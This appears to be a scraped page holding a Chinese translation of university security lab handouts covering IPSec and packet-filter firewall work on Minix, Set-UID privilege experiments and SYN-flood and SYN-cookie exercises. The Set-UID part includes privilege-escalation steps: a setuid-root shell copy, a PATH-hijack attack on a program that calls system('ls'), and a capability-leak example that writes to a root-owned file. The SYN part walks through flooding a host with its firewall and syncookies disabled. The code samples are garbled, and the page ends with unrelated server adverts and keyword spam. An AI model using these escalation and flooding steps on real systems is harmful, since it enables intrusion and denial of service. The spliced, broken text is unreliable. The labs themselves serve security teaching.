(5)加密算法本实验中我们将利用AES算(128位分组密码)进行加密和解密.
AES的密钥大小可以是128位,192位或256位.
在IPSec实验中应将这3种都执行一遍.
文件acs.
c是一个对一个块进行加密和解密(以128位为例),如果要对多块数据进行加密和解密则需要专门的AES模式,如ECB(电子密码本),CBC(密码块链),CFB(密码反馈)等等.
在本实验中只要求AES-CBC和AES-CFB模式,用已给的ASE编码执行ASE-CBC和ASE-CFB.
这两种模式都需要一个起始向量(IV),并将其装载到每一个数据包中.
参照RFC3602(http://www.
faqs.
org/rfcs/rfc3602.
html),ESP的有效载荷是由IV和其后的原始密文组成的.
因此有效载荷领域的定义按照下表进行了细分:||+起始向量(16字节)+||||加密模块(变长,16字节的整数倍)||AES-CBC要求数据必须是以16字节为单元的加密过的数据块.
如果数据不是16字节的整数倍,则需要填补该数据使之为16字节的整数倍,并记录增加的字节长度,接收方需要知道这个长度以对接收包进行解密还原为原始数据.
(6)MAC算法为计算ESP尾端的验证数据需要生成一个MAC(消息认证码).
MAC算法家族建立在单向哈希函数上,被称为HMAC(哈希MAC).
具体的HMAC算法被命名为HMAC-XYZ,其中XYZ是底层散列函数.
IPSec可以支持不同的HMAC实例,如:HMAC-MD5,HMAC-SHA-256等.
本实验,只支持HMAC-SHA-256,哈希算法SHA-256已给出,在本实验中你需要利用SHA-256去实现HMAC-SHA-256.
在此,我们提供了一个和HMAC-SHA-256相似的算法HMAC-MD5作为参考.
计算机安全教育实验723实验内容在本实验中,你需要对设计和实施做一些选择,这些选择必须有其合理性,并在实验报告中阐述做出该选择的理由.
1、IPSec的配置.
默认情况下,机器之间进行通信时不使用IPSec.
为了使两台机器A和B在进行通信时使用IPSec,系统管理员需要同时对A和B进行配置,且必须保证该机器的系统可以支持这些配置.
对机器进行配置只需执行一些命令,而不需要重启机器.
当在机器A和B之间设置IPSec时,A仍然可以和除B外的机器假设为C(A和C之间没有设置IPSec)进行通信,此时A和B利用IPSec进行通信,而A和C之间理由普通的IP进行通信.
此外,系统应该有后向兼容性,即启动IPSec的Minix系统仍然可以和不支持IPSec的机器通信.
2、透明性.
IPSec的实施应该对上层的TCP、UDP,尤其是应用层是透明的,即不会对应用层的telnet、ftp等造成任何影响.
你可以通过这些应用程序来测试IPSec的执行情况,同时可以用嗅探程序来检测传输的数据流是否被加密.
3、分段.
当在IP协议中启动IPSec时,你需要思考一下IPSec是运行在IP分片之前还是在IP分片之后在演示过程中,请思考如何证明IP分片仍然是有效的,并给出证明.
为了证明这一点,你需要编写一个程序或找一个合适的工具作辅助.
如,可以编写一个程序来构建一个大的UDP数据包,发送该UDP数据包并观察数据包在网络层的分段情况.
4、对现有TCP连接的影响.
在IPSec隧道的两个终端可能会有一段时间拥有不同的密钥,如在TCP连接过程中一端的密钥更改了而没有同时更改另一端.
当这种情况出现的时候会对现存的TCP连接产生什么影响是否会被打断如果以正确的方式执行IPSec,连接将不会被打断.
请通过实验对该结论进行证明.
5、密钥管理.
请思考一下有关IPSec相关的密钥管理问题:用什么样的数据结构存储密钥将密钥存储在哪里如何确保密钥的安全如何更新密钥对于密钥更新,系统管理员应该可以动态的增加/删除/更改/打印密钥(不需要重启系统).
注意密钥更新是有权限限制的,一般用户不能执行该操作.
4建议基于以前的实验经验,我们整理了一些对该实验的建议.
仅仅是建议而已,如果你的设计或体会有所不同,可以根据自己的需要有选择的对其进行取舍,如果你能将你的见解发送给我们,我们将万分感激.
1.
模块化.
将IPSec的实施模块为3个主要部分:(1)运行输出数据包IP_write.
c.
(2)运行输入数据包ip_read.
c.
(3)SA(安全关联)和密钥管理.
第三个模块与其他两个模块连接比较松散,可以被单独的执行.
然而,很多同学认为第三个模块是3个模块中最容易的一个,原因是,与前两个模块不同它不需要去理解和修改IP堆栈.

2.
读代码.
本实验需要阅读大量的Minix系统代码.
因为缺少工具,在Minix系统环境中阅读代码非常不便.
我们建议你将全部的源代码拷贝到装有Windows或Linux系统的主机上,然后用该平台上的代码阅读器进行阅读.
所有的Minix源代码可以在/usr计算机安全教育实验73目录下下载.
也可以在本实验的网页上下载.
Minix的源代码被放在很多目录下面,所以浏览起来并不容易,有时查找一个功能结构或数据结构定义的位置都相当困难.
如果没有合适的工具,你可以随时使用一般的搜索工具,如查找和文本查找工具.
以前做过实验的同学提供一个非常有用的阅读工具——SourceInsight,该工具大大简化了检索一个复杂系统的源代码.
它提供了一种简单的用语追踪功能结构和数据结构定义的方式,和其他的有用的功能.
该软件可以在http://www.
sourceinsight.
com上下载,该软件是一个付费软件,但是可以免费使用30天,基本满足了本实验的需要.
另外还可以使用在线的Minix源代码,代码地址:http://chiota.
tamacom.
com/tour/kernel/minix/.
3.
Minix网络工作原理Ⅰ.
本项目必须理解网络是如何在Minix系统下运行的.
可以参考一些文档,在此我们强烈推荐在http://www.
os-forum.
com/minix/net/上的文献2.
0.
4版本,它为Minix逐行的分析PhilipHomburg的网络服务,是一个很有用的文档.
在阅读过程中请主要关注以下3个文件:buf.
c,ip_read.
c和ip_write.
c.
所有输出的IP数据包都要经过ip_write.
c处理,所有要发送至上层(TCP/UDP)的输入IP数据包都要经过ip_read.
c处理.
你需要利用在buf.
c中定义的功能,并且将IPSec功能增加至ip_read.
c和ip_write.
c中.
4.
Minix网络工作原理Ⅱ.
为了帮助同学们进一步了解Minix网络的工作原理我们开发了一个文档.
该文档可在实验室网站上下载.
这个文档讲述了数据包如何从应用发送到传输层的ICMP/TCP/UDP再发送至网络层的IP,最终发送至局域网,并分析了源程序add_route.
c和pr_routes.
c的工作原理.
在/usr/src/commands/simple目录下的两个文件中提供了例子,用来说明一个如何在内核下储存信息.
要在内核中存储信息的话,可以通过系统调用inet,如ip_ioctl.
c中的ioctl()方法,如果要增加新的功能需要对inet再做修改.
另外,通过阅读文件pr_routes.
c和add_routes.
c你可以了解到如何使用系统调用.
5.
VPN的网络安装演示.
参考文档"IPSecGateway-to-GatewayNetworkConfiguration",该文档已在本实验的网页上列出.
5作业提交和演示请提交一份实验报告,详细描述你的实验设计和实施过程.
在实验报告中你需要说明如何测试系统的功能和安全性.
另外,本实验需要演示系统,请和助教约好演示时间,演示过程中请注意一下几点:演示的总时间为15分钟,不会延长时间.
所以对演示要有所准备以覆盖重要功能.

演示由于完全负责,在此过程中我们连键盘也不会碰一下的,所以你不能依靠我们来测试系统.
如果你系统的一些重要功能演示失败,我们将认为你的系统没有实现这些功能.
演示之前你需要练习.
如果系统崩溃或出现任何错误,那是你的问题.
我们既不会帮你修正错误,也不会给你额外的时间.
在演示过程中,你应该把自己当成销售人员,想要向我们推销你的系统.
你有15分钟的时间向我们展示你的系统有多么好,所以想想你的营销策略.
如果你实现了一个很棒的系统,但是没有展示给我们它有多么好,你也不会得高分.
关闭系统出于调试目的打印出来的消息,这些消息不应该出现在演示中.

计算机安全教育实验746评分评分标准如下:(请按照该标准进行系统演示)1.
密钥管理和密码库:20分.
2.
IPSec下的ICMP(如:ping):20分.
3.
IPSec下的TCP(如:ftp和telnet):30分.
4.
IP字段仍然有效:5分.
5.
更新IPSec隧道的密钥不会中段当前的TCP连接:5分.
6.
主机到网关的隧道模式:5分.
7.
密钥管理访问控制:5分.
8.
整体印象:10分.
7参考文献1.
RFC2401–SecurityArchitectureforIPSec.
2.
RFC2406–IPEncapsulatingSecurityPayload(ESP).
计算机安全教育实验75防火墙实验1实验概述实验目的:通过在Minix系统下实现简单的个人的防火墙来了解防火墙的工作原理.
个人防火墙是对网络流量进行控制一个安全机制,它对该主机的通信数据包基于一个安全策略进行过滤.
防火墙有几种不同的类型,在本实验中我们只关注一种简单的类型——包过滤.
包过滤防火墙是通过检测数据包来防护网络安全的,如果数据包符合包过滤的拒绝标准,则该数据包将会被丢掉或通知源主机一个"错误响应".
数据包过滤是不考虑其传输状态的,它只是根据数据包的内容对其进行筛选,而不会因为数据包是当前传输流中的一部分而对其网开一面.
包过滤通常使用数据包的源地址、目的地址、所使用的协议、TCP和UDP流量和端口号的组合来对数据包进行过滤.
2实验任务为Minix系统实现一个包过滤器,我们称之为minifirewall,该防火墙主要由两部分组成:安全策略配置和数据包过滤.
2.
1防火墙策略防火墙安全策略配置主要是让系统管理员对系统创建一个防火墙策略.

个人防火墙支持很多安全策略,在本实验中,主要考虑一下几种:阻塞(或不阻塞)流入和流出的数据包.
是否阻塞某流入或流出的数据包基于以下判断标准:1.
协议:符合防火墙些规定的协议不被阻塞.
这些协议可以是TCP、UDP、ICMP或所有的协议,为了简化实验,可以用一系列数字来代表这些协议.
2.
源和目的地址:符合规定的源地址和目的地址不被阻塞.
对输入流检验它的源地址,对输出流检验他的目的地址,也可以对他们的主机名进行检验.
很多包过滤器使用IP地址和子网掩码来确定一个阻塞地址域.
3.
端口号:数据包要有相匹配的端口号方可不被阻塞.
Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验764.
行为:规定防火墙在数据包满足规则是采取的动作:-BLOCK:即将数据包阻塞.
-UNBLOCK:和"阻塞"一起使用,表示允许数据包从一个地址传输到另一个地址,即便整个网络处于阻塞状态.
参考3中的例子.
-MANIPULATE:对数据包进行操作,如更改端口号等.
-FORWARD:为了记录日志的需要直接将网络数据放入某个文件.
操作管理输入流和输出流:在网络传输中经常需要对数据包进行一些操作.
如,系统管理员希望通过SSH服务监听1403端口而非22端口,这种情况下,本来要传向22端口的数据包就需要转向1403端口.
防火墙的这个策略为其提供了这种功能.
其他可操作管理的指示性参数有TTL(Timetolive).
同样你可以提供和启动其他的操作.
具体如何使用,请参考3.
日志:日志是数据包过滤的一个隐藏特性.
该特性使用FORWARD将过滤数据增加到日志文件,主要用于网络管理员检测数据流.
检测:系统管理员查看当前起作用的安全策略的方法.
2.
2包过滤包过滤是防火墙的主要部分,通过它防火墙才能以上的安全策略.
请在Minix的网络代码(inet)上增加包过滤功能.
参考资料可在该实验主页上下载.
建议你首先做包过滤这个模块然后再做安全策略模块.
如果从安全策略模块开始的话,你可以再硬编码防火墙策略上实施包过滤.
而一旦包过滤功能正常启动,你就可以做安全策略实施这一模块,并将其和包过滤整合在一起.
3实例这一部分给出了一些防火墙的实例.
可以根据自己的习惯对实例中的语法进行修改.

minifirewall–PROTOALL–AINCOMINGBLOCK阻塞所有数据包.
minifirewall–PROTOTCPUNBLOCK只允许TCP数据包通过.
minifirewall–ADDR172.
16.
75.
43–PROTOALL–AINCOMINGBLOCK阻塞所有从IP地址为172.
16.
75.
43发过来的数据包.
minifirewall–ADDR172.
16.
75.
43–NETMASK255.
255.
0.
0–AINCOMING–PORT80–PROTOTCPBLOCK阻塞所有源地址为172.
16.
*.
*的输入至端口80的数据包.
minifirewall–PROTOALLMANIPULATE–ORIGPORT22–NETPORT1403将所有原本传送到端口22的数据包改为端口1403,SSH服务被设置为监听1403端口.
minifirewall–PORT80–PORTALL–LOGFILEHTTPLOGFORWARD在当前目录下用HTTPLOG文件记录所有经过80端口的数据流.
计算机安全教育实验77minifirewall–AALLPRINT打印所有呈激活状态的安全规则.
minifirewall–z清除所有规则.
4建议在此我们对本实验提出了一些建议,请在做实验之前认真阅读.
1.
重要区别.
在开始对你的防火墙进行编码之前,专注于设计是非常必要的.
用于设计的适当方法是将机制和策略区分开来.
机制对所执行的动作提供了不同的方式,而策略定义了所执行的动作.
以本次实验为例,包过滤即是机制,而过滤规则属于策略.
为了更好地解释这种重要的区别,考虑这样一种情况,我们选择一种设计,使得所有127.
0.
0.
1发出和接收到包总是被inet代码忽略.
这是一种不太好的设计,因为我们对可以被过滤的包实施阻挡,强行对机制加以了限制.
相比之下,一个更好的方法是,当一个包从127.
0.
0.
1发出或发向127.
0.
0.
1时,让用户决定来做些什么.
2.
代码阅读.
在Minix环境中阅读Minix源代码相当不方便,因为在Minix中缺少相关工具的支持.
我们建议将全部源代码拷贝到你的主机(Windows或者Linux),使用可用的代码阅读工具进行阅读.
所有的Minix源代码都可以在/usr目录下找到.
同时我们也将全部源代码放在了本次实验的网站上.
阅读Minix的源代码并不简单,因为源代码由很多目录组成.
有时很难找到某个函数或数据结构被定义在何处.
没有好的工具时,你可以使用普通的搜索工具,比如find和grep.
过去我们的很多学生都非常推荐一款名叫SourceInsight的工具,非常实用,可以很方便地浏览一个复杂系统的源代码.
它提供了追踪函数和数据结构定义的功能,还有其他实用的特性.
这款软件请见这里http://www.
sourceinsight.
com.
另一个阅读源代码的选择是在线阅读Minix源代码http://chiota.
tamacom.
com/tour/kernel/minix/3.
Minix的网络如何工作(1).
弄懂网络如何在Minix上工作对此项目是必要的.
这方面有很多文章可以提供帮助.
我们特别推荐这篇文章http://www.
os-forum.
com/minix/net/,此文一行一行的对PhilipHomburg的Minix网络服务2.
0.
4版(本次实验使用的是3.
0版本,但在网络部分与2.
04几乎没有区别)进行了分析.
以前的学生发现此文是相当有益的.
请注重两个文件:ip_read.
c和ip_write.
c.
所有的输出IP包都在ip_write.
c中实现,而所有的发送到上层(TCP/UDP)的输入IP包都在ip_read.
c中实现.
4.
Minix的网络如何工作(2).
我们还有一个文档来帮助你们更好的理解Minix网络如何工作.
这个文档可以在实验网站上找到.
它通过一些源代码来展示给你一幅全景:一个包如何从应用程序发送到ICMP/TCP/UDP再到IP再到以太网.
它也讲解了add_routes.
c和pr_routes.
c是如何工作的.
这两个文件(位于/usr/src/commands/simple)是关于在内核中如何存储和维持信息的好例子.
如果你需要完成类似的事(例如在内核中存储信息),你可以使用名叫inet的系统调用,例如需要增加更多功能的ip_ioctl.
c中的ioctl().
pr_routes.
c和add_routes.
c对如何使用系统调用提供了很好的示例.
5.
测试.
测试是本次实验的一个重要步骤,以确保你的防火墙如预期般工作.
测试有计算机安全教育实验78两个主要方面:i.
测试策略是否得到预期的结果:对于每个你已经实施的策略,写出使用到这些策略的命令列表.
运行你的命令列表中的每条命令并检查是否得到预期的结果.
以下工具可以帮助你完成这个过程:Wireshark(http://wireshark.
org)和Ftester(http://dev.
inversepath.
com/trac/ftester).
ii.
测试系统稳定性:你应该确定你的防火墙不会引起你的系统的不稳定或导致系统崩溃.
对于释放不用的内存你应当时刻小心谨慎.
将你的防火墙运行足够长的时间,并使用更多样的规则以确定防火墙不会与系统发生稳定性冲突.
5作业提交和演示请提交一份实验报告,详细描述你的实验设计和实施过程.
在实验报告中你需要说明如何测试系统的功能和安全性.
另外,本实验需要演示系统,请和助教约好演示时间,演示过程中请注意一下几点:演示的总时间为15分钟,不会延长时间.
所以对演示要有所准备以覆盖重要功能.

演示由于完全负责,在此过程中我们连键盘也不会碰一下的,所以你不能依靠我们来测试系统.
如果你系统的一些重要功能演示失败,我们将认为你的系统没有实现这些功能.
演示之前你需要练习.
如果系统崩溃或出现任何错误,那是你的问题.
我们既不会帮你修正错误,也不会给你额外的时间.
在演示过程中,你应该把自己当成销售人员,想要向我们推销你的系统.
你有15分钟的时间向我们展示你的系统有多么好,所以想想你的营销策略.
如果你实现了一个很棒的系统,但是没有展示给我们它有多么好,你也不会得高分.
关闭系统出于调试目的打印出来的消息,这些消息不应该出现在演示中.

计算机安全教育实验79Set-UID实验实验描述Sec-UID在Unix操作系统中是一个重要的安全机制.
当Set-UID程序运行时,它便假定了所有者的权限.
例如,如果程序所有者是root用户,那么当任何人运行此程序,在执行期间此程序将获得根用户的权限.
Set-UID使得我们可以去做很多有趣的事情,然而不幸的是,它也是许多坏事的罪魁祸首.
所以本实验的目的有两部分:(1)认识Set-UID的优点:理解为什么需要Stt-UID和Set-UID是如何实现的.
(2)认识set-UID的缺陷:了解Set-UID的潜在风险.
实验任务这是一个探索型的实验.
你的主要任务是在Linux系统下试用set-UID机制,并写实验报告报告你的发现.
你需要在Linux系统下完成以下任务:1.
(20分)指出为什么passwd,chsh,和su命令需要是Set-UID程序,如果不是Set-UID程序的话会出现什么现象如果你对这些程序不熟悉的话,请首先阅读他们的用户指南了解其作用.
2.
(20分)在Linux系统下运行Set-UIDshell程序,报告并解释你的发现.
(a)以root身份登录,拷贝/bin/zsh到/tmp下,并使之成为一个权限为4755的set-root-uid程序.
然后以普通用户身份登录,运行/tmp/zsh.
你是否有root权限,请观察并报告观察结果.
如果在你的系统中找不到/bin/zsh,请执行以下命令进行安装:$suPassword:(输入root的密码)#yuminstallzsh(b)拷贝/bin/bash到/tmp,使之成为一个set-root-uid程序.
以普通用户的身份运行/tmp/bash,请观察你是否拥有root的权限,并对此进行解释.
3.
从以上任务中可以发现/bin/bash建立在保护模式下不允许滥用Set-UID机制.

为了看清在实施安全策略前/bin/bash的生命期,我们调用不同的shell程序,该程序名为Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验80/bin/zsh.
在Fedora,/bin/sh实际上是/bin/bash的一个象征性链接.
要使用zsh,首先要将/bin/sh链接到/bin/zsh.
下面的命令描述了如何将默认shell程序改为zsh.

$suPassword:(enterrootpassword)#cd/bin#rmsh#ln-szshsh4.
(20分)PATH环境变量库函数系统(constchar*cmd)可用于在程序中执行命令,系统(cmd)工作的方式是激活/bin/sh程序,然后让shell程序执行cmd.
由于shell程序被调用,在Set-UID程序里调用system()是极度危险的.
这是因为shell程序的实际行为会受环境变量的影响,如路径(PATH),这些环境变量受用户控制.
通过改变这些变量,恶意用户可以控制Set-UID程序的行为.

下面给出了一些代码,用来执行/bin/ls命令的,但该程序只使用了ls命令的相对路径,而非绝对路径.
intmain(){system("ls");return0;}(a)你能否让Set-UID程序运行自己的代码来代替/bin/ls呢如果可以,观察是否是在root权限下运行的呢描述该现象并给出解释.
(b)改变/bin/sh的路径使之指向/bin/bash,重复上述的攻击过程,观察是否仍可得到root权限,描述该现象并给出解释.
5.
(20分)比较System()和execve()的区别,在开始之前请确认/bin/sh是被/bin/zsh指向的.
实验背景:Bob在审计事务所工作,需要调查公司的假账和坏账.
处于调查目的,Bob需要阅读该公司的Unix系统里的所有文件,但为了保护系统的完整性和真实性,必须保证文件的内容不被修改.
要达到这个目的,Vince——系统的超级用户编了一个set-root-uid程序(见下面代码),并将其执行权限交给Bob.
Bob在命令行里输入文件名称后,通过运行/bin/cat来将指定的文件展现给Bob.
因为程序是运行在root权限下的,所以可是展示所有Bob指定的文件,但因为程序没有执行写操作的权限,Vince可以确保Bob不可以通过该程序来修改任何文件.
#include#include#includeintmain(intargc,char*argv[]){char*v[3];if(argc#include#include#include#includevoidmain(){intfd;/*Assumethat/etc/zzzisanimportantsystemfile,anditisownedbyrootwithpermission0644*/fd=open("/etc/zzz",O_RDWR|O_APPEND);/*Simulatethetasksconductedbytheprogram*/sleep(1);/*Afterthetask,therootprivilegesarenolongerneeded,it'stimetorelinquishtherootprivilegespermanently.
*/setuid(getuid(getuid()returnstherealuid*/if(fork(Intheparentprocess*/close(fd);exit(0);}else{/*inthechildprocess*//*Now,assumethatthechildprocessiscompromised,maliciousattackershaveinjectedthefollowingstatementsintothisprocess*/write(fd,"MaliciousData",14);计算机安全教育实验82close(fd);}}作业提交你需要提交一份详细的实验报告,描述你所做的工作及观察到的现象,并对有趣的现象做出解释.
计算机安全教育实验83SYN-Cookies探索实验1实验描述实验目的,探索在Linux系统下的SYNcookies机制.
SYNflooding是一种典型的拒绝式攻击(DoS).
当服务器接收到一个SYN数据包,将在SYN队列中分配一些内存存储SYN信息,然后生成一个ISN(初始序号)并将确认信息发送给客户端,并等待客户端返回确认信息,整个过程是一个三次握手协议.
服务器在在发出SYN+ACK应答报文后会等待客户端的ACK报文,等待一段时间后仍没收到客户端的ACK报文则丢弃这个未完成的连接(包括所分配的内存)(这段时间称为SYNTimeout).
在SYNflooding攻击中,黑客机器向受害主机发送大量伪造的SYN标志的TCP报文,受害主机分配必要的资源给这些SYN报文,因为源地址是伪造的,所以源端永远不会返回确认信息,服务器为维护非常大的半连接列表而消耗非常多的资源,甚至内存耗尽堆栈溢出崩溃.
最终导致服务器因为缺少内存而丢弃其他的SYN包.
为了防御SYNflooding攻击,提出了SYNcookies技术.
SYNcookies可以区分可靠的SYN报文和伪造的SYN报文.
当服务器在某端口发现可能会有SYNflooding攻击,会产生一个syncookie来代替ISN,这些操作对客户端是透明的.
事实上,SYNcookies可以被定义为"通过了TCP服务器选择的特定的初始TCP序列码".
SYNcookies有以下属性:1.
当SYN队列的大小达到上限时产生.
服务器的表现像SYN队列被扩大.
2.
产生的SYNcookies用来代替ISN.
系统返回给客户端SYN+ACK信息,并丢弃SYN队列的入口信息.
3.
如果服务器随后收到一个来自客户端的ACK信息,服务器将利用编写在TCP序列号中的信息来重构SYN队列入口信息.
2实验任务2.
1任务1:SYNFlooding攻击系统被SYNflooding攻击时,建立一个合法的TCP连接.
分别观察SYNcookies可用和不可用情况下的现象.
1.
SYNcookies不可用:在Linux系统下构建一个SYNflooding攻击,注意此时系统Copyright2006WenliangDu,SyracuseUniversity.
ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation'sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.
0618680and0231122.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNUFreeDocumentationLicense,Version1.
2oranylaterversionpublishedbytheFreeSoftwareFoundation.
Acopyofthelicensecanbefoundathttp://www.
gnu.
org/licenses/fdl.
html.
计算机安全教育实验84的SYNcookies不可用,观察系统的行为.
通过以下命令可设置SYNcookies不可用:#sysctl-wnet.
ipv4.
tcp_syncookies=02.
SYNcookies可用:在Linux系统下构建一个SYNflooding攻击,注意SYNcookies可用,观察系统的行为.
通过一下命令可启用SYNcookies:#sysctl-wnet.
ipv4.
tcp_syncookies=1以下准则有助于你进行攻击实验:(通过了在Fedoracore4和core5的测试)1.
Netwagtool76可用于对系统特定的目的端口和IP地址进行SYNflood攻击.
2.
防火墙在系统中默认为有效,用以下命令进行设置,使之为无效状态:#/sbin/serviceiptablesstop3.
查看防火墙的状态:#/sbin/serviceiptablesstatus4.
查看SYNcookies的状态:#sysctlnet.
ipv4.
tcp_syncookies5.
检查SYNflooding攻击的状态:#netstat-ant(Thismaybehavedifferentlyonvmwareinshowingtheopenconnections)#dmesg2.
2任务2:探索SYNCookies的实施过程该实验的主要目标是提出一个有效的SYNcookies设计.
主要挑战是为服务器设计一个产生ISN的方法,使SYNflooding攻击停止.
1.
思考SYNcookie生成等式:cookie=hash(saddr,daddr,sport,dport)+sseqsaddr:源IP地址daddr:目的IP地址sport:源端口dport:目的端口sseq:源序列号从上式可以看出,"cookie"是一个新的ISN(初始序号).
正好满足了SYNcookie需要一个唯一的ISN来和上述参数建立一个唯一的连接的需要.
另外,当服务器又收到了客户端的ACK信息时,可以重新计算cookie并把其当做可靠的SYN进行接收.

请思考这种方法给系统带来的哪些新的问题2.
思考SynCookie生成等式2:cookie=hash(saddr,daddr,sport,dport,random)+seqrandom:启动时产生的随机数.
请思考这种方法给系统带来的哪些新的问题3.
思考SynCookie生成等式3:cookie=hash(saddr,daddr,sport,dport,random)+sseq+countcount是一个随时间递增的数,每分钟左右递增一次.
你是否认为上式仍然会对系统造成威胁.
4.
如果认为第三个等式仍然对系统构成威胁,你能否提出一个新的等式以满足SynCookies的需要并且请详细说明当服务器收到客户端返回的ACK信息时,如何计算机安全教育实验85重新计算cookies并视该连接为可靠的连接.
3相关材料回答上面的问题可参考以下网址:1.
在Linux系统下执行SYNcookies可参考Linux源代码:net/ipv4/syncookies.
c.
2.
http://cr.
yp.
to/syncookies.
html3.
http://cr.
yp.
to/syncookies/archive4.
www.
cs.
colorado.
edu/jrblack/class/csci4830/f03/syncookies.
pdf4作业提交你需要提交一份详细的实验报告,描述你所做的工作及观察到的现象,并对有趣的现象做出解释.
计算机安全教育实验86下载数据统计从2007年一月到2009年五月,我们对每个实验的下载次数做了统计.
结果如下.

湖北22元/月(昔日数据)云服务器,国内湖北十堰云服务器,首月6折

昔日数据怎么样?昔日数据新上了湖北十堰云服务器,湖北十堰市IDC数据中心 母鸡采用e5 2651v2 SSD MLC企业硬盘 rdid5阵列为数据护航 100G高防 超出防御峰值空路由2小时 不限制流量。目前,国内湖北十堰云服务器,首月6折火热销售限量30台价格低至22元/月。(注意:之前有个xrhost.cn也叫昔日数据,已经打不开了,一看网站LOGO和名称为同一家,有一定风险,所以尽量不要选择...

racknerd:美国大硬盘服务器(双路e5-2640v2/64g内存/256gSSD+160T SAS)$389/月

racknerd在促销美国洛杉矶multacom数据中心的一款大硬盘服务器,用来做存储、数据备份等是非常划算的,而且线路还是针对亚洲有特别优化处理的。双路e5+64G内存,配一个256G的SSD做系统盘,160T SAS做数据盘,200T流量每个月,1Gbps带宽,5个IPv4,这一切才389美元...洛杉矶大硬盘服务器CPU:2 * e5-2640v2内存:64G(可扩展至128G,+$64)硬...

DMIT:香港国际线路vps,1.5GB内存/20GB SSD空间/4TB流量/1Gbps/KVM,$9.81/月

DMIT怎么样?DMIT是一家美国主机商,主要提供KVM VPS、独立服务器等,主要提供香港CN2、洛杉矶CN2 GIA等KVM VPS,稳定性、网络都很不错。支持中文客服,可Paypal、支付宝付款。2020年推出的香港国际线路的KVM VPS,大带宽,适合中转落地使用。现在有永久9折优惠码:July-4-Lite-10OFF,季付及以上还有折扣,非 中国路由优化;AS4134,AS4837 均...

ip攻击为你推荐
可以发外链的论坛发外链的论坛哪个比较好,哪个论坛能发外链,能发广告急求。。。。站长故事爱迪生发明电灯的故事简短bluestacks安卓模拟器BlueStacks如何安装使用?照片转手绘有什么软件可以把相片变成手绘的,不是美图秀秀里面的硬盘人克隆一个人需要多少人多长时间啊开机滚动条如何关闭开机滚动条?保护气球气球保护液可以用什么来代替?分词技术百度的中文分词原理是什么?与IK分词有区别吗?网站营运网络运营主要做些什么?域名库电脑上文件有多少域名?各什么意思?
网站域名空间 山东虚拟主机 云南服务器租用 免费申请网站域名 海外服务器 payoneer 服务器架设 183是联通还是移动 免费吧 佛山高防服务器 服务器托管什么意思 服务器干什么用的 能外链的相册 空间首页登陆 下载速度测试 韩国代理ip net空间 lamp兄弟连 网页加速 电信宽带测速软件 更多